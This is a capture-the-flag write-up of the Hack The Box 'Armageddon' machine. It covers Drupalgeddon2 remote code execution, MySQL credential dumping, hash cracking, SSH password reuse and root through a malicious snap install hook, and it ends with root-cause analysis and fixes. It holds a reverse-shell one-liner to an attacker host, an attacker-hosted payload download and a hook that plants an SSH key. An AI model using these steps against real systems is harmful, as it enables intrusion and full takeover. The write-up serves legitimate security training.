- OS: Linux (CentOS 7)
- Domain / vhosts: none
Summary
Armageddon is a Linux Easy built around two well-documented techniques:
CVE-2018-7600 (Drupalgeddon2) for unauthenticated remote code execution
against a Drupal 7.56 installation, and a malicious snap package via
sudo snap install * NOPASSWD for privilege escalation to root.
The box is named after Drupal’s informal codename for the Drupalgeddon2
vulnerability, which shook the CMS community when it dropped in 2018. The
combination of an unpatched CMS and a misconfigured sudo rule makes this
an entirely patch-and-policy problem — no binary exploitation is involved at
any stage.
Kill-chain: /CHANGELOG.txt discloses Drupal 7.56 → Drupalgeddon2
(drupalgeddon2.rb) gives apache shell → settings.php yields DB
credentials → MySQL dumps users table → brucetherealadmin hash cracked
(hashcat mode 7900) → SSH password reuse → sudo snap install * NOPASSWD →
crafted snap with malicious install hook writes attacker’s SSH key to
/root/.ssh/authorized_keys → root.
Source attribution
- 0xdf, “HTB: Armageddon” — https://0xdf.gitlab.io/2021/07/24/htb-armageddon.html.
Primary source. Covers the Drupalgeddon2 exploit chain, MySQL credential
extraction from
settings.php, hashcat mode 7900, and the snap dirty_sock technique with theinstallhook approach. - IppSec, “Armageddon” video walkthrough — https://ippsec.rocks/?#Armageddon.
- CVE-2018-7600 (Drupal SA-CORE-2018-002, “Drupalgeddon2”).
Recon
nmap -sC -sV -oN nmap/initial.txt <TARGET>
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
Only two ports. The Apache version places this on CentOS 7. PHP 5.4.16 is end-of-life and unsupported.
Web enumeration — Drupal version disclosure
The default Drupal page loads at the root. Version identification:
curl http://<TARGET>/CHANGELOG.txt
Drupal 7.56, 2017-06-21
/CHANGELOG.txt is world-readable by default in Drupal 7 and contains the
exact release version at the top. The HTML source also contains:
<meta name="Generator" content="Drupal 7 (http://drupal.org)" />
Drupal 7.56 predates the SA-CORE-2018-002 patch (which shipped in 7.58). Any Drupal 7.x instance below 7.58 is vulnerable to Drupalgeddon2.
Foothold — CVE-2018-7600 (Drupalgeddon2)
Drupalgeddon2 is an unauthenticated remote code execution vulnerability in
Drupal’s Form API (FAPI). Drupal’s FAPI uses special rendering keys prefixed
with # (e.g., #post_render, #markup, #type) that control how form
elements are rendered and processed. User-supplied input was permitted to
flow into these keys without sanitisation, allowing an attacker to inject PHP
callbacks. Specifically, setting name[#post_render][]=passthru and
name[#markup]=<base64-encoded command> causes the FAPI renderer to execute
arbitrary shell commands as the web server user.
The vulnerable endpoint is /?q=user/password, the password-reset form.
Run the public PoC:
ruby /opt/Drupalgeddon2/drupalgeddon2.rb http://<TARGET>
The PoC drops a PHP webshell in the Drupal root and then uses it for interactive command execution. Initial context:
drupalgeddon2>> id
uid=48(apache) gid=48(apache) groups=48(apache) context=...
Upgrade to a reverse shell:
# Attack machine
nc -lvnp 4444
# Drupalgeddon2 prompt
drupalgeddon2>> bash -c 'bash -i >& /dev/tcp/<ATTACKER>/4444 0>&1'
User flag — credential chain through MySQL
Read the Drupal database configuration:
cat /var/www/html/sites/default/settings.php
The file contains the database connection block including username and
password for the drupal MySQL database (drupaluser).
Query the users table without an interactive TTY (MySQL runs fine
non-interactively with -e):
mysql -e 'show tables;' -u drupaluser -p'<password>' drupal
mysql -e 'select * from users;' -u drupaluser -p'<password>' drupal
The users table contains one non-anonymous account: brucetherealadmin
with a $S$… Drupal 7 password hash.
Crack the hash offline:
hashcat -m 7900 brucetherealadmin.hash /usr/share/wordlists/rockyou.txt
Hashcat mode 7900 targets Drupal7’s iterated SHA-512 scheme. The password is a short dictionary word from rockyou.
Pivot via SSH (the Drupal application password is reused for the system account):
ssh brucetherealadmin@<TARGET>
user.txt is at /home/brucetherealadmin/user.txt.
Privilege escalation — malicious snap package via sudo snap install *
brucetherealadmin@armageddon:~$ sudo -l
User brucetherealadmin may run the following commands on armageddon:
(root) NOPASSWD: /usr/bin/snap install *
snap install with NOPASSWD and a wildcard allows installing any snap
package as root. During installation, snapd runs the snap’s install hook
as root. A crafted snap whose hook executes a root-level action is therefore
a direct privilege escalation.
The malicious snap is built on the attack machine (snapcraft is not available on the target):
snap/snapcraft.yaml:
name: pwn
version: '0.1'
summary: Exploit snap
grade: devel
confinement: devmode
parts:
my-part:
plugin: nil
snap/hooks/install:
#!/bin/bash
mkdir -p /root/.ssh
echo "<ATTACKER_PUBLIC_KEY>" >> /root/.ssh/authorized_keys
Build:
snapcraft
Produces pwn_0.1_amd64.snap.
Transfer to target and install:
# Attack machine — serve the file
python3 -m http.server 8080
# Target
wget http://<ATTACKER>:8080/pwn_0.1_amd64.snap
sudo snap install --devmode pwn_0.1_amd64.snap
The install hook runs as root, appending the attacker’s public key to
/root/.ssh/authorized_keys.
SSH in as root:
ssh -i <ATTACKER_PRIVATE_KEY> root@<TARGET>
[root@armageddon ~]# id
uid=0(root) gid=0(root) groups=0(root)
root.txt is at /root/root.txt.
Why each step worked
/CHANGELOG.txtversion disclosure: Drupal 7 ships this file in the web root and does not restrict access to it. Any visitor can read the exact version string. Drupal 8+ removed this file from the default document root. It is a simple misconfiguration to fix (Deny from allin.htaccessor deletion), but it is present in the overwhelming majority of unattended Drupal 7 deployments.- Drupalgeddon2 (SA-CORE-2018-002): the root cause is that Drupal’s FAPI
treated attacker-controlled POST data as trusted array keys. The
#-prefixed FAPI rendering keys were never meant to be user-supplied, but the array merge path that processedname[]in the password reset form did not strip them. The fix was to sanitise form input before merging it into the element tree. Versions 7.58 and 8.3.9/8.4.6/8.5.1 contain the patch. settings.phpreadable by the web server process: Drupal’s database password lives insites/default/settings.php. When the attacker runs asapache, they run as the same user that PHP-FPM / mod_php uses to serve requests — which necessarily has read access tosettings.php. There is no separation between the web server’s filesystem identity and the application’s secret store.- Drupal password hash reuse for SSH: the Drupal
userstable stores application-level passwords, not system passwords. Thatbrucetherealadminreused the same password for both his Drupal login and his Linux system account is pure human behaviour — no technical mechanism prevents it, only policy and password manager discipline. snap install *withNOPASSWDgrants root code execution:snapdruns snap hooks as root by design — installation hooks typically need to configure system paths, create users, or set capabilities. The*wildcard in thesudorule means the administrator intended to allow installing any snap. Since the hook content is attacker-controlled, this is equivalent toNOPASSWD: /bin/bash.
Counterfactuals
- Delete or block
/CHANGELOG.txt(and/README.txt,/INSTALL.txt) at the web server level:Deny from allin.htaccessor a server-side rewrite rule. Version disclosure accelerates exploitation significantly. - Upgrade Drupal 7 to 7.58+ immediately. SA-CORE-2018-002 was rated Critical and patches were released for all supported versions simultaneously.
- Store database credentials outside the web root, or use environment variables that are only available to the application process and not readable by the web server user.
- Enforce unique passwords for system accounts separate from application accounts. A password manager integration in the developer’s workflow is sufficient.
- Replace
NOPASSWD: /usr/bin/snap install *with a specific, named snap or remove the rule entirely. Ifbrucetherealadminneeds to manage packages, usesudo aptrestricted to specific package names, or use a dedicated service account managed by an administrator.
Key Takeaways
/CHANGELOG.txtis the fastest Drupal fingerprint: always fetch it before running heavier enumeration. A version below 7.58 means Drupalgeddon2 is unpatched.- Drupalgeddon2 is unauthenticated and trivially scripted: the Ruby PoC
(
drupalgeddon2.rb) requires only the base URL. The FAPI injection has been well-understood since 2018 and affects every Drupal 7.x < 7.58 regardless of modules, theme, or configuration. - Drupal
settings.phpalways contains database credentials: whenever Drupal code execution is achieved, readsites/default/settings.phpimmediately. Then dump theuserstable — Drupal 7 hashes use$S$prefix (mode 7900 in hashcat). sudo snap install *is a GTFOBins primitive: anysudorule that allows installing arbitrary snap packages is equivalent to arbitrary root code execution via aninstallhook. The snap must be built on a separate machine wheresnapcraftis available, then transferred withwgetorcurl. Build with--devmodeto bypass signature requirements.- Password reuse from application DB to system account is common: after
cracking any application hash, always try it for
suand SSH against all local usernames before moving on.
References
- 0xdf, “HTB: Armageddon” — https://0xdf.gitlab.io/2021/07/24/htb-armageddon.html
- IppSec, “Armageddon” — https://ippsec.rocks/?#Armageddon
- Drupal SA-CORE-2018-002 — https://www.drupal.org/sa-core-2018-002
- CVE-2018-7600 (Drupalgeddon2)
- GTFOBins snap — https://gtfobins.github.io/gtfobins/snap/#sudo